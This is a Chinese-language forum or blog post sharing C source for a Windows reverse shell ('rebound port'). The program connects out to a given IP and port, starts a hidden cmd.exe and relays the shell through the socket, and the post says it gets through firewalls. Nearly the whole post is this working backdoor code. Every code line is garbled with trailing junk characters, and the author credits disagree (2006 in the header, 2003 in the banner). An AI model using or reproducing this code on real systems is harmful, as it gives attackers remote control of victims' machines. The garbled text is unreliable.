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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %U]_1"d,<\  
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/* ============================== { 3=\x  
Rebound port in Windows NT MB42 3{j  
By wind,2006/7 _%G)Uz{3  
===============================*/ # 4E@y<l$  
#include "bFt+N  
#include HJl$v#]#+  
T( @y#09  
#pragma comment(lib,"wsock32.lib") y74Ph:^ k  
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void OutputShell(); Uf^zA/33  
SOCKET sClient; sW)C6 #  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @=o1q=5@8  
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void main(int argc,char **argv)  V"n0"\k,  
{ eto3dJ!R  
WSADATA stWsaData; y(&JE^GfX  
int nRet; XCU.tWR:  
SOCKADDR_IN stSaiClient,stSaiServer; xEBiBsk d  
#W#GI"K  
if(argc != 3) ~@ZdO+n?  
{ d#:&Uw  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2kV[A92s  
return; et";*EZJX  
} #~um F%#  
YH33E~f  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7 }`c:u~j  
[Af&K22M(X  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $M\|zUQu.  
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stSaiClient.sin_family = AF_INET; X%W_cb2  
stSaiClient.sin_port = htons(0); Dt,b\6  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zHi+I 7  
`6V-a_8;[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WrhC q6  
{ *OU>s;"$  
printf("Bind Socket Failed!\n"); `<IT LT  
return; %&KJtKe  
} G v[W)+3f  
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stSaiServer.sin_family = AF_INET; v(^{ P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GSg|Gz""J0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /0QGU4=  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) <>GWSW  
{ Q\G8R^9j p  
printf("Connect Error!"); f!;i$Oif  
return; BQWEC,*N  
} !}wJ+R ^2  
OutputShell(); 0S@O]k)  
} d;&'uiS  
g~_cYy  
void OutputShell() evf){XhT;n  
{ Kx9Cx 5B  
char szBuff[1024]; ul~>eZ  
SECURITY_ATTRIBUTES stSecurityAttributes; PT4Xr=z =  
OSVERSIONINFO stOsversionInfo; lJ@2N$w  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L%`~`3%n-  
STARTUPINFO stStartupInfo; jI@0jxF  
char *szShell; -e#YWMo(  
PROCESS_INFORMATION stProcessInformation; B e+'&+  
unsigned long lBytesRead; {\22C `9t  
B]dHMLzl  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \7Hzj0hSi  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v'*  
stSecurityAttributes.lpSecurityDescriptor = 0; "!<Kmh5  
stSecurityAttributes.bInheritHandle = TRUE; 6'W79  
~rE U83  
xB:,l'\G  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); log{jF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GL&ri!,  
f9H;e(D9]  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y [e $  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yA*~O$~Y  
stStartupInfo.wShowWindow = SW_HIDE; 2|F.JG^  
stStartupInfo.hStdInput = hReadPipe; 8r /]Q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $wU.GM$t~  
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GetVersionEx(&stOsversionInfo); ^_3idLE  
x!bFbi#!"  
switch(stOsversionInfo.dwPlatformId) %cG6=`vR  
{ 9 m&"x/k  
case 1: N;tUrdgQ  
szShell = "command.com"; h4H~;Wl0  
break; d{&+xl^ll  
default: PCnE-$QH  
szShell = "cmd.exe"; &'V_80vA  
break; x|*v(,7b]!  
} x{<WJ|'B  
$7gzu4f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I z~#G6]M  
a`(6hL3IT  
send(sClient,szMsg,77,0); YIb5jK `  
while(1) *%(8z~(\  
{  =IV_yor  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cv;&ff2%?  
if(lBytesRead) h>= e<H?f  
{ t ),~w,7(J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  CJg &  
send(sClient,szBuff,lBytesRead,0); O_0|Q@  
} :gDIGBK,  
else (: 2:_FL  
{ 3;~1rw=$<  
lBytesRead=recv(sClient,szBuff,1024,0); {YWj`K  
if(lBytesRead<=0) break; t5N@ z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G40,KCa  
} 0F=UZf&  
} CeS8I-,  
_1hc^j  
return; _CAW D;P  
}
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